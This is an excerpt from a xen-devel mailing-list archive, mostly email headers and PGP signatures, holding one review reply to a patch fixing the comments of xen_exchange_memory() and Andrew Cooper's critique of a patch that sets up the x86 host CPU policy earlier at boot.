List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782919285; x=1783524085; darn=lists.xenproject.org;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=Fvkn+Q1lRbCuR/PD1NZRPzvfxPN8W8yFaRbTgCBwedA=;
        b=AiWsQUcgfVn2bDKtej22qhwCRaz3ToSmlzLRfkHX/MUisZIYCxiC8/S+ao1KY4v8y1
         VmulbuJeGN/EzxFU3YHCZupNTs0u055T2rNrJ3rWe9TEUtOpiU4sifcNx53S8aEQAuh0
         fi619ohfWD+v2a1IknOjmABBpzNjHTP+jzLRzGGnB4JVx98ZxECpBT3nJZB+0se+e0A4
         SI8dvYk2g3SN0SJGh+aHkfyBULHYpw4/lp9Jw11ETv9ZwKbwhTmam0XYVCObusoTpV1b
         404j0WEDwIvDnut9plmvrGTbSq4lmyfLK6GxJ/nZdY+fPfV9t26wZ4M3T+Cd9A/zg+sm
         QLZA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782919285; x=1783524085;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=Fvkn+Q1lRbCuR/PD1NZRPzvfxPN8W8yFaRbTgCBwedA=;
        b=ix27ZO7y9pu1VQTFGRjdk8CMOvzYHQCTbkNuv2NiKbpbZywdT1T1//OzAFHFvvO1oR
         rvjicK6JTYTol7mL4APMjI8wmysmJ0tKOsZMGYn2C3m9qlXQMg2MeKLI8k/d1163jvjA
         tFM3QDfBH5hg3drMcwKildpu6v2BBmEiFx4Ie9mt0NfhyP/WNs/49ELmQaPDmTQ5e38F
         Qa+bwqMTvHvmIU6BEAG+GTGIl4b30wPrVgdRniH5j3sQlMqTvDQ4DtL6XDRG/X8DdrzX
         ElTQFLBaj5vYafp9jpX3wmDPQJ/z+TxpXIAZWsyz2yO/H6sWMYGWTXeMj6SQAdwjwVhb
         NmfA==
X-Forwarded-Encrypted: i=1; AHgh+Rp0nmGOsYuidb/GCYODHkLO6G1gGM9K3NoqYWd9RmyXnv40qWZGIHABA8L0EF7iV76nQXLVIiJ7uzA=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyJMZdn5Den8WVuOS9lkFQZ+unjFjw5we7M+x098IFWEyMLvkVP
	1EW5tmiVmGRzABVcRpnXF+EZEwvEz1AIICVkC5jciXcu5hXPt+Yq8IdJugBFzACDOTQ=
X-Gm-Gg: AfdE7clXH6gU9TqW0389qTHklCsLXXs4XgBw9kRO+me2PRnH1cw7fMk4fm9DXwD7LA0
	3R9qU0t9ereSLN8JiBwsgC7Y+JIxAZmFzoaTWc8oheCzVUChRs1RiE6fFhHi+zflRV6Oj1E0rDD
	7iqzq7jppGEDbVJX99eybRqn6Zxp/2HzhlHdO+vP5nNY5EF768BL1o+rXUzwwMv48LaGhHGu6bF
	ctJnCP860IrfVF1El3E4lMJZ/KBPhXpjjsIHZ0WaP0JX723CzYMTzZhjq7bDL6URUuPcxrf1utN
	eFxYSpOl1OJGloXrZFU2FS93zd8ePsWgpYznBCSPZjww7PPQOic+taKr9RwNq9uQNYfgY/gJjaP
	LhnpYGYIocCaDzD9/+qGT/cyOC8IXi18feUzspEw2vqEC8RDhQThTBjOJpiNWYF4wpRcwlN69yP
	x/rrYw0SRirGoqSGsJi9P+iQMdAtd0RcsmtQvIjB0bUCv/N9WsWJInhAgkrbowd5Jr75/OkYXMw
	R4GddClmPds1jBXbtvHr9QVrQrRNPi+yWRXd9Kzh4g=
X-Received: by 2002:a17:907:da02:b0:c12:840a:364 with SMTP id a640c23a62f3a-c12ae3acd8fmr66792866b.10.1782919284620;
        Wed, 01 Jul 2026 08:21:24 -0700 (PDT)
Message-ID: <305e0bea-cea8-4260-be84-4e844979987f@suse.com>
Date: Wed, 1 Jul 2026 17:21:23 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] x86/Xen: correct commentary and parameter naming of
 xen_exchange_memory()
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Boris Ostrovsky <boris.ostrovsky@oracle.com>
References: <d2661f83-a97b-4fc7-bf52-25e99f63576b@suse.com>
Content-Language: en-US
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
Autocrypt: addr=jgross@suse.com; keydata=
 xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjrioyspZKOB
 ycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2kaV2KL9650I1SJve
 dYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i1TXkH09XSSI8mEQ/ouNcMvIJ
 NwQpd369y9bfIhWUiVXEK7MlRgUG6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fgIXtMNV+3t8Li1Tg843EXkP7+2+CQ98MB8XvvPLYAfW8nNDV85TyVgWlldNcgdv7nn1Sq8g
 HwB2BHdIAkYce3hEoDQXt/mKlgEGsLpzJcnLKimtPXQQy9TxUaLBe9PInPd+Ohix0XOlY+Uk
 QFEx50Ki3rSDl2Zt2tnkNYKUCvTJq7jvOlaPd6d/W0tZqpyy7KVay+K4aMobDsodB3dvEAs6
 ScCnh03dDAFgIq5nsB11j3KPKdVoPlfucX2c7kGNH+LUMbzqV6beIENfNexkOfxHfw==
In-Reply-To: <d2661f83-a97b-4fc7-bf52-25e99f63576b@suse.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------nQgv1Bqlnnr0TaSVOpwNNn6l"
X-purgate-ID: tlsNG-d62444/1782919285-FFECF1E0-E8AEA266/0/0
X-purgate-type: clean
X-purgate-size: 9492

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------nQgv1Bqlnnr0TaSVOpwNNn6l
Content-Type: multipart/mixed; boundary="------------gwj4yeI9S5JHpZF7F4xM6WWE";
 protected-headers="v1"
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Boris Ostrovsky <boris.ostrovsky@oracle.com>
Message-ID: <305e0bea-cea8-4260-be84-4e844979987f@suse.com>
Subject: Re: [PATCH] x86/Xen: correct commentary and parameter naming of
 xen_exchange_memory()
References: <d2661f83-a97b-4fc7-bf52-25e99f63576b@suse.com>
In-Reply-To: <d2661f83-a97b-4fc7-bf52-25e99f63576b@suse.com>
Autocrypt-Gossip: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eq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
 14Z9VlVVPhcEmR/AFykL9dw/OV2O/7cdi52+l00reUu6Nd4Dl8s4f5n8b1YFzmkVVIyhwjvU
 jxtPyUgDOt6DRa+RaDlXZZmxQyWcMv2anAgYWGVszeB8Myzsw8y7xhBEVV1S+1KloCzw4V8Z
 DSJrcsZlyMDoiTb7FyqxwQnM0f6qHxWbmOOnbzJmBqpNpFuDcz/4xNsymJylm6oXiucHQBAP
 Xb/cE1YNHpuaH4SRhIxwQilCYEznWowQphNAbJtEKOmcocY7EbSt8VjXTzmYENkIfkrHRyXQ
 dUm5AoL51XZljkCqNwrADGkTvkwsWSvCSQQYEQIACQUCWTecRAIbDAAKCRCgNK6L+3cgfuef
 AJ9wlZQNQUp0KwEf8Tl37RmcxCL4bQCcC5alCSMzUBJ5DBIcR4BY+CyQFAs=

--------------gwj4yeI9S5JHpZF7F4xM6WWE
Content-Type: multipart/mixed; boundary="------------sHJZ0Ia0uoWyY5r3zY0h0Gg6"

--------------sHJZ0Ia0uoWyY5r3zY0h0Gg6
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

T24gMDEuMDcuMjYgMTE6NTUsIEphbiBCZXVsaWNoIHdyb3RlOg0KPiBBcyBkb2N1bWVudGVk
IGluIGNvbW1lbnRzIGluIHN0cnVjdCB4ZW5fbWVtb3J5X2V4Y2hhbmdlLCB0aGUgaW5wdXQg
dG8gdGhlDQo+IGh5cGVyY2FsbCBpcyBhIHNldCBvZiBNRk5zIHdoaWNoIGFyZSB0byBiZSBy
ZW1vdmVkIGZyb20gdGhlIGRvbWFpbiwgcGx1cyBhDQo+IHNldCBvZiBQRk5zIHdoZXJlIHRo
ZSBuZXdseSBhbGxvY2F0ZWQgTUZOcyBhcmUgdG8gYXBwZWFyLiBQcmVzZW50IGNvbW1lbnQN
Cj4gYW5kIHBhcmFtZXRlciBuYW1pbmcgZG9uJ3QgY29ycmVjdGx5IHJlZmxlY3QgdGhhdC4N
Cj4gDQo+IFNpZ25lZC1vZmYt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W5k
IHBvcHVsYXRlcyBtZm5zIGFzDQo+ICsgKiBvdXRwdXQuDQoNCi4uLiBsaWtlOg0KDQogICBb
Li4uXSBUYWtlcyBhcyBpbnB1dCB0aGUgbWZucyB0byB0cmFkZSBpbiAobWZuc19pbikgYW5k
IHRoZSBwZm5zIHdoZXJlIHRoZSBuZXcNCiAgIHBhZ2VzIGFyZSB0byBhcHBlYXIgKGZuc19p
bm91dCksIGFuZCBwb3B1bGF0ZXMgbWZucyBhcyBvdXRwdXQgKGZuc19pbm91dCkuDQoNCldp
dGggdGhhdDoNCg0KUmV2aWV3ZWQtYnk6IEp1ZXJnZW4gR3Jvc3MgPGpncm9zc0BzdXNlLmNv
bT4NCg0KDQpKdWVyZ2VuDQo=
--------------sHJZ0Ia0uoWyY5r3zY0h0Gg6
Content-Type: application/pgp-keys; name="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Disposition: attachment; filename="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjri
oyspZKOBycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2
kaV2KL9650I1SJvedYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i
1TXkH09XSSI8mEQ/ouNcMvIJNwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/B
BLUVbDa4+gmzDC9ezlZkTZG2t14zWPvxXP3FAp2pkW0xqG7/377qptDmrk42GlSK
N4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEBAAHNHEp1ZXJnZW4gR3Jvc3Mg
PGpnQHBmdXBmLm5ldD7CwHkEEwECACMFAlOMcBYCGwMHCwkIBwMCAQYVCAIJCgsE
FgIDAQIeAQIXgAAKCRCw3p3WKL8TL0KdB/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M6WWE--

--------------nQgv1Bqlnnr0TaSVOpwNNn6l
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsB5BAABCAAjFiEEhRJncuj2BJSl0Jf3sN6d1ii/Ey8FAmpFMHMFAwAAAAAACgkQsN6d1ii/Ey/2
jwf8C4Ir62V2ZdCImI/molyOq+JPPLJRySa8FvIy9Gut7SM4zDwslPkhZQPqimKudUVIqKSeRdzw
ExEm7PWvMaVHQ0MbwbZUerrLWph6kMfoYiEPP1Fbne6Tm8TX/AnSgMEi7oeM1V0e474JQZVezj13
yPpzOLuRCOTrjTELUUi/9PuhmagIVEe2959UBQ07L2OMrJtn2bjekgur5Kwgh6S+6n2GIwtfm+q+
vLWXGMwH2DknizAVtEA9etD7EmYHGImhywo5eaJhX8kaqzjMcqOJbZFeh3EnkCUalffMdMU6SvHK
ED1BF2QF0gKaj8r2Y3d/cT0SgBgxofrXLorCakMwYQ==
=Hxhx
-----END PGP SIGNATURE-----

--------------nQgv1Bqlnnr0TaSVOpwNNn6l--


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 15:21:30 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 15:21:30 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350116.1607681 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wewkV-0001cI-AS; Wed, 01 Jul 2026 15:21:15 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350116.1607681; Wed, 01 Jul 2026 15:21:15 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wewkV-0001cB-7c; Wed, 01 Jul 2026 15:21:15 +0000
Received: by outflank-mailman (input) for mailman id 1350116;
 Wed, 01 Jul 2026 15:21:13 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wewkT-0001az-KC
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 15:21:13 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wewkS-004tRH-T0
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 17:21:12 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a453058-bab6-0a2a0a5309dd-0a2a450988c8-46
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 17:21:12 +0200
Received: from [40.107.209.18]
 (helo=PH8PR06CU001.outbound.protection.outlook.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a453067-97e6-0a2a45090019-286bd1127110-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 17:21:12 +0200
Received: from IA1PR03MB8288.namprd03.prod.outlook.com (2603:10b6:208:59e::6)
 by PH9PR03MB767167.namprd03.prod.outlook.com (2603:10b6:510:3e8::17)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.159.19; Wed, 1 Jul
 2026 15:21:09 +0000
Received: from IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599]) by IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599%3]) with mapi id 15.21.0159.018; Wed, 1 Jul 2026
 15:21:09 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=VQKCFizZRfdDmZcfUKJXOAg6ApNqkrpTVNn1FRMZFKFSXX4SDXN5EV08heIOa+O3dGIEhTg50VWYXMgg2sm/EF8hmEqiE7yABv0F1juQUrgiEkLwFMPE9IF+CTJEljcFT4O8hKdrNjDHBlEL2eHeAhs/3FbpmZv73mx8Ilsvt1S0o7OExpIpPWTxyU6UoQlrQpmqHJi1VcWJ9jWj0XhQsPF4BxW+Y24YLqEt9shIVMJdaP45w4yTfRNNFVj+LWgyobDpoqS+PiIm6kDPqBw3iMqbQjwba4xJzP9cxKq8AL6pWqEoc+9szYEjwTqAhXViHryDTHh7qPwI+S4WdJMpSA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=FAzW1JgJSGu5uCsBpSgF0sIhfKeZU1U9S6FwoWB2HCE=;
 b=xs2FgaDIVGba/3rngiI1BZk/HAWUXCwtQZ8xTdOHKEUr9l28fUYssLYSa/EOlEQJYubKS/1Ad5S3pWJDW9LUPXQ1IF6mTPP4WjeaE1mor60afkALHs3UrxRn96HdFufbngmGSWfc9Ficiwu7m2YUEAma+3f+oUUPnNm3cjzqJ+Mli6ky6bfBHiCnQk9N+atVHmaf57s0GlBlPgDwVUB5Qszxdt4yo/7Ay6wXhg26xNBXJI9buhekCjpUaubnhlaCP9RV+zUOy6KSM0dvEXEOQyPMXLP7+EEtfUFPgg0hBdZmePvhjJNiUEtGrKUl50+XfML5TG82dkr7+nGGlFYbag==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=FAzW1JgJSGu5uCsBpSgF0sIhfKeZU1U9S6FwoWB2HCE=;
 b=oiI7wOumGxq404/1nQRFf9wlYPtW/omRoa8/4VZzuVlS1MVZ+0XS/EPqZIcKssB/UYnzVbjeHjGyWFQe9VqNmycwGtzBPvvIYJYOaAGA+nKUtxZLoPoGOJdK94JymT0di9kK2m8WiPpVWXeQIT872K3q7kFXH9pYbKFI37AHjos=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <53018bb5-0ad4-449e-adda-6b2d94a0935e@citrix.com>
Date: Wed, 1 Jul 2026 16:21:06 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Marek Marczykowski <marmarek@invisiblethingslab.com>
Subject: Re: [PATCH] x86/cpu-policy: set up host policy earlier
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <6dccae5f-fe09-4f35-9e4a-7a38fb21e8d1@suse.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpqv0Y9k87dLbctKKA14Ifw2kq5OIVu2FuX+3i446JOa2vpCI9GcjCzi3oHV
 e00bzYiHMIl0FICrNJU0Kjho8pdo0m2uxkn6SYEpogAy9pnatUlO+erL4LqFUO7GXSdBRbw5
 gNt25XTLdSFuZtMxkY3tq8MFss5QnjhehCVPEpE6y9ZjI4XB8ad1G4oBHVGK5LMsvg22PfMJ
 ISWFSHoF/B5+lHkCKWkFxZ0gZn33ju5n6/FOdEx4B8cMJt+cWwARAQABzSlBbmRyZXcgQ29v
 cGVyIDxhbmRyZXcuY29vcGVyM0BjaXRyaXguY29tPsLBegQTAQgAJAIbAwULCQgHAwUVCgkI
 CwUWAgMBAAIeAQIXgAUCWKD95wIZAQAKCRBlw/kGpdefoHbdD/9AIoR3k6fKl+RFiFpyAhvO
 59ttDFI7nIAnlYngev2XUR3acFElJATHSDO0ju+hqWqAb8kVijXLops0gOfqt3VPZq9cuHlh
 IMDquatGLzAadfFx2eQYIYT+FYuMoPZy/aTUazmJ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RP123.PROD.OUTLOOK.COM
 (2603:10a6:600:276::23) To IA1PR03MB8288.namprd03.prod.outlook.com
 (2603:10b6:208:59e::6)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA1PR03MB8288:EE_|PH9PR03MB767167:EE_
X-MS-Office365-Filtering-Correlation-Id: 4bcfc8b2-4edc-4ab5-f82f-08ded7846099
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|23010399003|1800799024|366016|18002099003|22082099003|11063799006|56012099006;
X-Microsoft-Antispam-Message-Info:
	gydi3p13ADVaFomIlvVoLfgtM3t8qrf9VkQGJrhIRk+YC+cI9loRkjZEisujRwXETct5ra6+Xkq6FndTyt+eL5wAw1oM6bj5InOCTuMt1spyO2PF4FlUDPXwzQfRMvCIgTy0rrw9C7hj3/gRu2ttZmDRwPnsVyhm5WTv0MuIwFQanGtvVBNHFGcKrD0KLRdqZapiNniWXoyEAxlsmfOFWCNC1GQOM8OphzI3FD2SZNJSV2HCiFfEOg8HeweU+Xymw3d009qnEtQI0Gc9BYeXhTBH3CCVGlJwBOZlEDG37AQMAnuYfR/GxJm1PO7jw85uuC+dJ/W0BammZd1J6FpdE+sN8PmQiN6EkWF+9zFirrRraIkptqEDadjSOfp1zhW8oxouyL7pwrYe51D0ELu1RLp8J2wwbZTDTQr5RUAOFt4+11C6sAc9rjuNZDKW7V+SK72vi0phBLzGl7A4dH688185XxOQhk67kdw1c4EtmtyjkdvoquhMxgZzVDHDZ9wXrSaQWziqmmCpPdISAOrpjnUJ7199M1SBnIIw7X4mXJFuGvyRZDMNz227oH5ZQ5uvWYgJ9NPbwJ98WWUHREM9JC+Aq//iLrZL/VT6yr3K7YRUB+f4Ghg1RDakt+72T7Bve1QarSU31HaZwQeootmsX6rbiDEF1Pagb0c+pYeB+do=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA1PR03MB8288.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(23010399003)(1800799024)(366016)(18002099003)(22082099003)(11063799006)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?anhWVlpzbzQ4Wmhjcm02MStCUUgrVDRtbFd2NEhsNkgyVVlZRWNNNWE2Q2xy?=
 =?utf-8?B?eTQ3WGVDb1VicThVODgwaU9OTnVUbU1lNlgzd29SNlJPc0lVaWxFMGM0Vnp1?=
 =?utf-8?B?ZndGTE8zNEsxM3NVdmMrWU1kZWV2cWlMUStBcVJ3djNKKzZ3eTZxZ3RCRzlx?=
 =?utf-8?B?VTJBYnRrYm1CR2ViSFVDMUhicXdDdmxJR01ZTEl5bkUxbzZhZTFzdk5kU2Zj?=
 =?utf-8?B?ajZ4bTZybDR5TFg5b3M4VGwweHQ2NXdNZjRhZzN3bmprYUpXVlJjSEdWSEZ2?=
 =?utf-8?B?VncxMjlrU3NmT3VVSXVIOUQ4QUw4dEgycStKODgrMTAxeTJ2MXhQQmFrSzdI?=
 =?utf-8?B?eWVVOTdKN3M3ZEZQdko4RXNnYnNNMXl5TVE0VXVuOEJudEVBNkxlNSsvdHJP?=
 =?utf-8?B?bmNmRHpORFFHa2xBYWVvMzgreUliQlhtMlJodlZ5QTNzVzBBbUhMcnR5eERW?=
 =?utf-8?B?OFdDSUhubk1YdWh0U1l0Tm5kVktPSU0ydEtmOWdoZHhxbVdVRmp1ajhaMmxR?=
 =?utf-8?B?TEVveTZMMVhlbU42b3ZGL0x5M082WmsrUC9FWUVMNEhRak0wYWJwemFiYVNn?=
 =?utf-8?B?Vm03TjltS3BoNWZ5ak1rd285S1RRaVZWcDkwamxncittUVF4Wkw3N3RaWlBh?=
 =?utf-8?B?OWhTRkpKeGFzdGdVZGZPelNPRmxyTUZCSllXelVS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c-4ab5-f82f-08ded7846099
X-MS-Exchange-CrossTenant-AuthSource: IA1PR03MB8288.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 01 Jul 2026 15:21:09.0184
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: Vd6Q1GVGAHf1ORCKVSetd87NwrCLE67HS/vO1nvif+5SUJWEyroMAnCy3mVlgByx3h7urjN8v5I3KuEWvZXt3sumTCyQIOVYuO9072S0FU8=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PH9PR03MB767167
X-purgate-ID: tlsNG-bad1c0/1782919272-4693A986-4B85F7DD/0/0
X-purgate-type: clean
X-purgate-size: 2755

On 07/04/2026 7:46 am, Jan Beulich wrote:
> In order to use cpu_has_* expanding to host_cpu_policy.*, the host policy
> needs setting up alongside boot_cpu_data.x86_capability[]. Arrange for
> that towards the end of identify_cpu().
>
> Fixes: 894bd7617924 ("x86/Intel: use host CPU policy for ARAT checking")
> Reported-by: Marek Marczykowski-GÃ³recki <marmarek@invisiblethingslab.com>
> Signed-off-by: Jan Beulich <jbeulich@suse.com>
> ---
> In the longer run we may need to (also) update the host policy from
> setup_{force,clear}_cpu_cap().
>
> This really was part of one of the XSTATE cleanup patches at the head of
> the AMX series. This explains the specific placement ahead of the call to
> xstate_init()). Likely anything from there downwards shouldn't really
> live in identify_cpu() anyway.
>
> --- a/xen/arch/x86/cpu/common.c
> +++ b/xen/arch/x86/cpu/common.c
> @@ -586,6 +586,8 @@ void identify_cpu(struct cpuinfo_x86 *c)
>  	}
>  
>  	/* Now the feature flags better reflect actual CPU features! */
> +	if (c == &boot_cpu_data)
> +		calculate_host_policy();

calculate_host_cpu_policy() now it's not local to cpu-policy.c

>  
>  	xstate_init(c);
>  
> --- a/xen/arch/x86/cpu-policy.c
> +++ b/xen/arch/x86/cpu-policy.c
> @@ -359,7 +359,7 @@ void calculate_raw_cpu_policy(void)
>      /* Was already added by probe_cpuid_faulting() */
>  }
>  
> -static void __init calculate_host_policy(void)
> +void __init calculate_host_policy(void)
>  {
>      struct cpu_policy *p = &host_cpu_policy;
>      unsigned int max_extd_leaf;
> @@ -904,6 +904,7 @@ static void __init calculate_hvm_def_pol
>  
>  void __init init_guest_cpu_policies(void)
>  {
> +    /* Do this a 2nd time to account for setup_{clear,force}_cpu_cap() uses. */
>      calculate_host_policy();

I'm sorry, but no.Â  The cleanup work to CPUID handling is in an attempt
to purge this antipattern.

Double-initialising data structures *is* the entire reason we have
order-of-boot problems in the first place.Â  Having a structure which is
initialised but wrong is itself wrong.

Really, I should insist on a revert of switching cpu_has_* to use
host_policy.Â  It was not adequately tested and is not compatible with
how Xen starts up.

But as I expect you're going to object to that feedback, I'll tolerate
setup_*_cpu_cap() keeping the host policy correct as they're called.Â 
The easy option is to call x86_cpu_featureset_to_policy() each time.Â 
The lower overhead option would be to have a table similar to
cpu_user_regs_gpr_offsets[] and use that to locate the feature word in a
policy object as it's being edited, although it's yet another thing to
remember to keep in sync when adding new words.

~Andrew


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 15:24:19 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
